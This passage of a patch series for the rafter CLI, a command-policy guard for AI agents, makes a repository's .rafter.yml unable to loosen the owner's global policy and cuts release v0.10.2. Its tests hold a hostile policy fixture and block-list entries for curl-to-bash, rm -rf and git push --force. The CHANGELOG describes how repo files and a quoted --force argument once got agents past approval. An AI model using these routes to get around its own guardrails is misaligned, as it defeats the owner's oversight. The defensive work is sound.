REPLACES config (not merges arrays)". + // The policy file is discovered by walking up from cwd to the git root, so it + // is a file in the repo being worked on and is untrusted on a repo the agent + // did not write. The global config is now a floor: a project may add rules and + // tighten the mode, but cannot drop a rule or loosen the mode. + it("policy command_policy raises the config floor (never lowers it)", async () => { const yml = ` command_policy: mode: deny-list @@ -68,10 +73,13 @@ command_policy: const manager = await getManager(); const config = manager.loadWithPolicy(); - expect(config.agent?.commandPolicy.mode).toBe("deny-list"); - // Policy arrays REPLACE — should only contain policy values, not defaults - expect(config.agent?.commandPolicy.blockedPatterns).toEqual(["custom-block"]); - expect(config.agent?.commandPolicy.requireApproval).toEqual(["custom-approve"]); + // deny-list is looser than the default approve-dangerous — refused. + expect(config.agent?.commandPolicy.mode).toBe("approve-dangerous"); + // The project's entries are added; the defaults it omitted are kept. + expect(config.agent?.commandPolicy.blockedPatterns).toContain("custom-block"); + expect(config.agent?.commandPolicy.requireApproval).toContain("custom-approve"); + expect(config.agent?.commandPolicy.requireApproval).toContain("rm -rf"); + expect(config.agent?.commandPolicy.blockedPatterns.length).toBeGreaterThan(1); }); it("policy scan.excludePaths overrides config", async () => { diff --git a/python/rafter_cli/core/config_manager.py b/python/rafter_cli/core/config_manager.py index 051b4ba..df98fdb 100644 --- a/python/rafter_cli/core/config_manager.py +++ b/python/rafter_cli/core/config_manager.py @@ -206,6 +206,10 @@ def _validate_raw_config(raw: dict) -> None: if key in cp and (not isinstance(cp[key], list) or not all(isinstance(v, str) for v in cp[key])): print(f'rafter: config "commandPolicy.{key}" must be an array of strings — using default.', file=sys.stderr) del cp[key] + for key in ("allowProjectOverride", "allow_project_override"): + if key in cp and not isinstance(cp[key], bool): + print(f'rafter: config "commandPolicy.{key}" must be a boolean — ignoring (project policies cannot loosen command policy).', file=sys.stderr) + del cp[key] # audit audit = agent.get("audit") @@ -269,12 +273,15 @@ def load_with_policy(self) -> RafterConfig: cp = policy.get("command_policy") if cp: - if cp.get("mode"): - config.agent.command_policy.mode = cp["mode"] - if cp.get("blocked_patterns") is not None: - config.agent.command_policy.blocked_patterns = cp["blocked_patterns"] - if cp.get("require_approval") is not None: - config.agent.command_policy.require_approval = cp["require_approval"] + # The global config is a FLOOR the project may raise but never + # lower. See merge_command_policy (sable-nz4y). allow_project_override + # is read from self.load() — the GLOBAL config only, never from the + # project policy being merged. + merge_command_policy( + config.agent.command_policy, + cp, + self.load().agent.command_policy.allow_project_override is True, + ) scan = policy.get("scan") if scan: @@ -435,3 +442,101 @@ def _deep_merge(target: dict, source: dict) -> dict: else: out[k] = v return out + + +# --------------------------------------------------------------------------- +# Project-policy floor (sable-nz4y) +# --------------------------------------------------------------------------- +# +# Policy discovery walks up from cwd to the git root, so the ``.rafter.yml`` this +# merges is a file IN THE REPOSITORY BEING WORKED ON. rafter ships inside agent +# pretool hooks, so on an untrusted repo that file is attacker-controlled. +# +# It used to REPLACE the machine owner's command policy wholesale: a repo +# shipping ``{mode: allow-all, blocked_patterns: [], require_approval: []}`` +# switched off every guardrail below the unconditional critical hard-block — +# including patterns the owner had explicitly deny-listed. +# +# The rule this restores is the one the codebase already states ~20 lines above, +# for the Plus-approval gate (sable-9ddf): a project policy may turn a gate ON, +# but must never turn OFF a gate the machine owner set globally. So the global +# config is a FLOOR: +# +# * blocked_patterns / require_approval — UNION. A project adds rules; removing +# one the owner set is not expressible. +# * mode — accepted only when at least as strict as the owner's. A project may +# tighten ``allow-all`` to ``approve-dangerous``, never the reverse. +# +# The owner (never the repo) can opt out with +# ``agent.commandPolicy.allowProjectOverride: true`` in the GLOBAL config, which +# restores the old replace semantics for people who deliberately delegate policy +# to their projects. +# +# Note this does not touch the critical hard-block, which was never reachable +# from policy: CommandInterceptor.evaluate() returns on "critical" BEFORE any +# policy is loaded. That property held under every hostile policy tested; this +# change is about everything *below* critical. +# +# Mirrors ``mergeCommandPolicy`` in node/src/core/config-manager.ts. + +#: Strictness rank for command-policy modes. Higher is stricter. +#: +#: ``approve-dangerous`` is the only mode that gates on assessed risk, so it is +#: strictly stronger than the other two. ``deny-list`` and ``allow-all`` +#: currently behave identically in the interceptor (both rely solely on the +#: explicit pattern lists, which are checked regardless of mode) — they are +#: ranked apart anyway so that a project moving ``allow-all`` -> ``deny-list`` is +#: treated as a tightening rather than a lateral move if their behavior ever +#: diverges. +_COMMAND_MODE_STRICTNESS: dict[str, int] = { + "allow-all": 0, + "deny-list": 1, + "approve-dangerous": 2, +} + + +def _union_patterns(floor: list[str], project: list[str]) -> list[str]: + """Union preserving order: floor entries first, then new project entries.""" + seen = set(floor) + return [*floor, *[p for p in project if p not in seen]] + + +def merge_command_policy(target, project: dict, allow_override: bool) -> None: + """Merge a project command policy over the global one under the floor rule. + + Mutates ``target`` in place, matching the surrounding merge style. When + ``allow_override`` is True the pre-sable-nz4y replace semantics are used. + """ + if allow_override: + if project.get("mode"): + target.mode = project["mode"] + if project.get("blocked_patterns") is not None: + target.blocked_patterns = project["blocked_patterns"] + if project.get("require_approval") is not None: + target.require_approval = project["require_approval"] + return + + mode = project.get("mode") + if mode and mode != target.mode: + project_rank = _COMMAND_MODE_STRICTNESS.get(mode) + floor_rank = _COMMAND_MODE_STRICTNESS.get(target.mode) + # An unknown mode is not demonstrably at least as strict, so it is refused. + if project_rank is not None and floor_rank is not None and project_rank >= floor_rank: + target.mode = mode + else: + print( + f'rafter: project policy sets agent.commandPolicy.mode "{mode}", which is ' + f'less strict than "{target.mode}" from your global config — ignoring. Set ' + "agent.commandPolicy.allowProjectOverride: true in your global config to " + "allow project policies to loosen command policy.", + file=sys.stderr, + ) + + if project.get("blocked_patterns") is not None: + target.blocked_patterns = _union_patterns( + target.blocked_patterns, project["blocked_patterns"] + ) + if project.get("require_approval") is not None: + target.require_approval = _union_patterns( + target.require_approval, project["require_approval"] + ) diff --git a/python/rafter_cli/core/config_schema.py b/python/rafter_cli/core/config_schema.py index 77ec380..6cdac80 100644 --- a/python/rafter_cli/core/config_schema.py +++ b/python/rafter_cli/core/config_schema.py @@ -49,6 +49,13 @@ class CommandPolicyConfig: require_approval: list[str] = field( default_factory=lambda: list(_default_require_approval()) ) + #: Opt out of the project-policy floor (sable-nz4y). + #: + #: Read ONLY from the machine owner's global config — never from a project + #: ``.rafter.yml``, or a repo could grant itself the permission and the floor + #: would be no floor at all. Default (absent/False) keeps the floor: a + #: project policy may tighten command policy, never loosen it. + allow_project_override: bool = False @dataclass diff --git a/python/tests/test_policy_merge_floor.py b/python/tests/test_policy_merge_floor.py new file mode 100644 index 0000000..641dcae --- /dev/null +++ b/python/tests/test_policy_merge_floor.py @@ -0,0 +1,204 @@ +"""The project-policy floor (sable-nz4y). + +Policy discovery walks up from cwd to the git root, so the merged ``.rafter.yml`` +is a file in the repository being worked on — attacker-controlled on an untrusted +repo, and rafter ships inside agent pretool hooks. It used to replace the machine +owner's command policy wholesale, so a repo could switch off every guardrail +below the critical hard-block. + +The rule: the global config is a floor a project may raise, never lower. + +Mirrors node/tests/policy-merge-floor.test.ts. +""" +from __future__ import annotations + +import json +import os +import subprocess + +import pytest + +from rafter_cli.core.config_manager import ConfigManager, merge_command_policy +from rafter_cli.core.config_schema import CommandPolicyConfig + + +def floor(**over) -> CommandPolicyConfig: + base = { + "mode": "approve-dangerous", + "blocked_patterns": [r"curl.*\|\s*(bash|sh)"], + "require_approval": ["rm -rf", "git push --force"], + } + base.update(over) + return CommandPolicyConfig(**base) + + +class TestProjectCannotLowerTheFloor: + def test_refuses_a_looser_mode(self, capsys): + target = floor() + merge_command_policy(target, {"mode": "allow-all"}, False) + assert target.mode == "approve-dangerous" + assert "less strict" in capsys.readouterr().err + + def test_refuses_deny_list_when_owner_set_approve_dangerous(self): + target = floor() + merge_command_policy(target, {"mode": "deny-list"}, False) + assert target.mode == "approve-dangerous" + + def test_cannot_drop_an_owners_blocked_pattern(self): + target = floor() + merge_command_policy(target, {"blocked_patterns": []}, False) + assert r"curl.*\|\s*(bash|sh)" in target.blocked_patterns + + def test_cannot_drop_an_owners_approval_pattern(self): + target = floor() + merge_command_policy(target, {"require_approval": ["terraform apply"]}, False) + assert "rm -rf" in target.require_approval + assert "git push --force" in target.require_approval + + def test_survives_the_full_hostile_repo_shape(self): + target = floor() + merge_command_policy( + target, + {"mode": "allow-all", "blocked_patterns": [], "require_approval": []}, + False, + ) + assert target.mode == "approve-dangerous" + assert target.blocked_patterns == floor().blocked_patterns + assert target.require_approval == floor().require_approval + + def test_refuses_an_unrecognized_mode(self): + target = floor() + merge_command_policy(target, {"mode": "yolo"}, False) + assert target.mode == "approve-dangerous" + + +class TestProjectCanRaiseTheFloor: + def test_accepts_a_stricter_mode(self): + target = floor(mode="allow-all") + merge_command_policy(target, {"mode": "approve-dangerous"}, False) + assert target.mode == "approve-dangerous" + + def test_accepts_allow_all_to_deny_list_as_tightening(self): + target = floor(mode="allow-all") + merge_command_policy(target, {"mode": "deny-list"}, False) + assert target.mode == "deny-list" + + def test_adds_blocked_and_approval_patterns(self): + target = floor() + merge_command_policy( + target, + {"blocked_patterns": ["terraform destroy"], "require_approval": ["terraform apply"]}, + False, + ) + assert "terraform destroy" in target.blocked_patterns + assert r"curl.*\|\s*(bash|sh)" in target.blocked_patterns + assert "terraform apply" in target.require_approval + assert "rm -rf" in target.require_approval + + def test_does_not_duplicate_an_existing_pattern(self): + target = floor() + merge_command_policy(target, {"require_approval": ["rm -rf", "terraform apply"]}, False) + assert target.require_approval.count("rm -rf") == 1 + + def test_no_project_settings_leaves_policy_untouched(self): + target = floor() + merge_command_policy(target, {}, False) + assert target == floor() + + +class TestOwnerOptOut: + def test_override_restores_replace_semantics(self): + target = floor() + merge_command_policy( + target, + {"mode": "allow-all", "blocked_patterns": [], "require_approval": []}, + True, + ) + assert target.mode == "allow-all" + assert target.blocked_patterns == [] + assert target.require_approval == [] + + def test_override_is_off_by_default(self): + target = floor() + merge_command_policy(target, {"mode": "allow-all"}, False) + assert target.mode == "approve-dangerous" + + +STRICT_GLOBAL = { + "version": "1.0", + "agent": { + "riskLevel": "aggressive", + "commandPolicy": { + "mode": "approve-dangerous", + "blockedPatterns": [r"curl.*\|\s*(bash|sh)"], + "requireApproval": ["rm -rf", "sudo rm"], + }, + }, +} + +HOSTILE = """ +version: "1.0" +command_policy: + mode: allow-all + blocked_patterns: [] + require_approval: [] +""" + + +class TestEndToEnd: + """Through the real load path: temp git repo + real global config + chdir, + so policy discovery does its actual walk from cwd to the git root.""" + + @pytest.fixture + def build(self, tmp_path, monkeypatch): + def _build(project_yaml: str, global_extra: dict | None = None): + subprocess.run(["git", "init", "-q", str(tmp_path)], check=True) + (tmp_path / ".rafter.yml").write_text(project_yaml) + cfg = json.loads(json.dumps(STRICT_GLOBAL)) + cfg["agent"]["commandPolicy"].update(global_extra or {}) + cfg_path = tmp_path / "global-config.json" + cfg_path.write_text(json.dumps(cfg)) + monkeypatch.chdir(tmp_path) + return ConfigManager(cfg_path).load_with_policy() + + return _build + + def test_hostile_repo_cannot_lower_the_owners_policy(self, build): + cfg = build(HOSTILE) + assert cfg.agent.command_policy.mode == "approve-dangerous" + assert r"curl.*\|\s*(bash|sh)" in cfg.agent.command_policy.blocked_patterns + assert "rm -rf" in cfg.agent.command_policy.require_approval + + def test_repo_cannot_grant_itself_the_override(self, build): + # The decisive case. If a project policy could set allow_project_override, + # the floor would be no floor at all: a hostile repo would enable the + # opt-out and then loosen everything. + cfg = build( + """ +version: "1.0" +command_policy: + allow_project_override: true + mode: allow-all + blocked_patterns: [] + require_approval: [] +""" + ) + assert cfg.agent.command_policy.mode == "approve-dangerous" + assert r"curl.*\|\s*(bash|sh)" in cfg.agent.command_policy.blocked_patterns + + def test_owner_set_override_is_honored(self, build): + cfg = build(HOSTILE, {"allowProjectOverride": True}) + assert cfg.agent.command_policy.mode == "allow-all" + assert cfg.agent.command_policy.blocked_patterns == [] + + def test_project_can_still_add_rules(self, build): + cfg = build( + """ +version: "1.0" +command_policy: + blocked_patterns: + - "terraform destroy" +""" + ) + assert "terraform destroy" in cfg.agent.command_policy.blocked_patterns + assert r"curl.*\|\s*(bash|sh)" in cfg.agent.command_policy.blocked_patterns From 3e70ed0dd4a7e272e0137f4be65af5189b381363 Mon Sep 17 00:00:00 2001 From: Rome Thorstenson <36779795+Rome-1@users.noreply.github.com> Date: Thu, 10 Sep 2026 11:49:45 -0700 Subject: [PATCH 3/3] release: v0.10.2 (#242) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Cuts v0.10.2 from main. The only unreleased change since the published 0.10.1 (npm/PyPI, gitHead 2a83cf04) is #233, the global command-policy floor fix (rf-adth, sable-nz4y): a repo's .rafter.yml could previously replace the machine owner's command policy wholesale rather than only tighten it. #233 merged after 0.10.1 was already cut, so main and the published 0.10.1 package share a version string despite differing in this fix — 0.10.2 makes that distinguishable again. Also folds in the CHANGELOG heading 0.10.1 never got: the Unreleased section had accumulated the 0.10.1-era entries (rf-ss67, sable-l10k x4, the Action timeout/retry changes) but was never renamed when 0.10.1 shipped, so this closes that gap before adding 0.10.2's own section. Bumps node/package.json, python/pyproject.toml, and both rafter-security-skill.md frontmatters to 0.10.2 (validate-release parity). Version-only change; no source/behavior changes beyond #233, which already merged separately. After merge, promote main -> prod to trigger the npm + PyPI publish. Co-authored-by: Rome-1 --- CHANGELOG.md | 8 ++++++++ node/package.json | 2 +- node/resources/rafter-security-skill.md | 2 +- python/pyproject.toml | 2 +- python/rafter_cli/resources/rafter-security-skill.md | 2 +- 5 files changed, 12 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ac5501c..b82b959 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,14 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [0.10.2] - 2026-09-09 + +### Security + +- **A repo's `.rafter.yml` can no longer lower the machine owner's global command policy** (rf-adth, sable-nz4y). Policy discovery walks up from cwd to the git root, so on a repository the agent didn't write, `.rafter.yml` is attacker-controlled — and it previously replaced the owner's command policy wholesale. Nine lines of repo content (`mode: allow-all`, `blocked_patterns: []`, `require_approval: []`) could turn an explicitly deny-listed `curl | bash` from blocked into allowed, and demote `rm -rf`, `sudo rm`, and `git push --force` from approval to allowed. The always-on critical hard-block was never affected — this is about everything below it. The global config is now a floor: `blockedPatterns`/`requireApproval` union rather than replace, and `mode` is accepted from a project only when at least as strict. Delegating policy to a project is still possible via the owner-only `agent.commandPolicy.allowProjectOverride` flag in the *global* config, which a project cannot express. + +## [0.10.1] - 2026-09-09 + ### Fixed - **`rafter agent exec --force` no longer skips approval, and approval needs a person at a terminal** (rf-ss67, reported in the secbolt audit se-ezvc). `--force ""` ran any HIGH-tier command unprompted: the PreToolUse hook classified the quoted argument as prose, and `exec` then skipped its own prompt. `--force` is now a hidden no-op kept only so old invocations parse; a command that needs approval is prompted only when stdin is an interactive TTY and is otherwise denied, so a piped `yes` is not an approval either. `--dry-run`, which three shipped docs already advertised, now exists: it prints the verdict and runs nothing (exit 0 allowed, 1 blocked, 2 needs approval). The documented `-- ` form is accepted, with the words re-quoted so the classifier evaluates exactly what the shell would run. Both runtimes. diff --git a/node/package.json b/node/package.json index 6da04cc..37ee496 100644 --- a/node/package.json +++ b/node/package.json @@ -1,6 +1,6 @@ { "name": "@rafter-security/cli", - "version": "0.10.1", + "version": "0.10.2", "type": "module", "repository": { "type": "git", diff --git a/node/resources/rafter-security-skill.md b/node/resources/rafter-security-skill.md index 84445a0..04b5426 100644 --- a/node/resources/rafter-security-skill.md +++ b/node/resources/rafter-security-skill.md @@ -1,7 +1,7 @@ --- name: rafter-security description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`. -version: 0.10.1 +version: 0.10.2 homepage: https://rafter.so metadata: openclaw: diff --git a/python/pyproject.toml b/python/pyproject.toml index 79e2421..63d579f 100644 --- a/python/pyproject.toml +++ b/python/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "rafter-cli" -version = "0.10.1" +version = "0.10.2" description = "Rafter CLI — the default security agent for AI workflows. Free for individuals and open source." authors = ["Rafter Team "] license = "MIT" diff --git a/python/rafter_cli/resources/rafter-security-skill.md b/python/rafter_cli/resources/rafter-security-skill.md index 84445a0..04b5426 100644 --- a/python/rafter_cli/resources/rafter-security-skill.md +++ b/python/rafter_cli/resources/rafter-security-skill.md @@ -1,7 +1,7 @@ --- name: rafter-security description: Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`. -version: 0.10.1 +version: 0.10.2 homepage: https://rafter.so metadata: openclaw: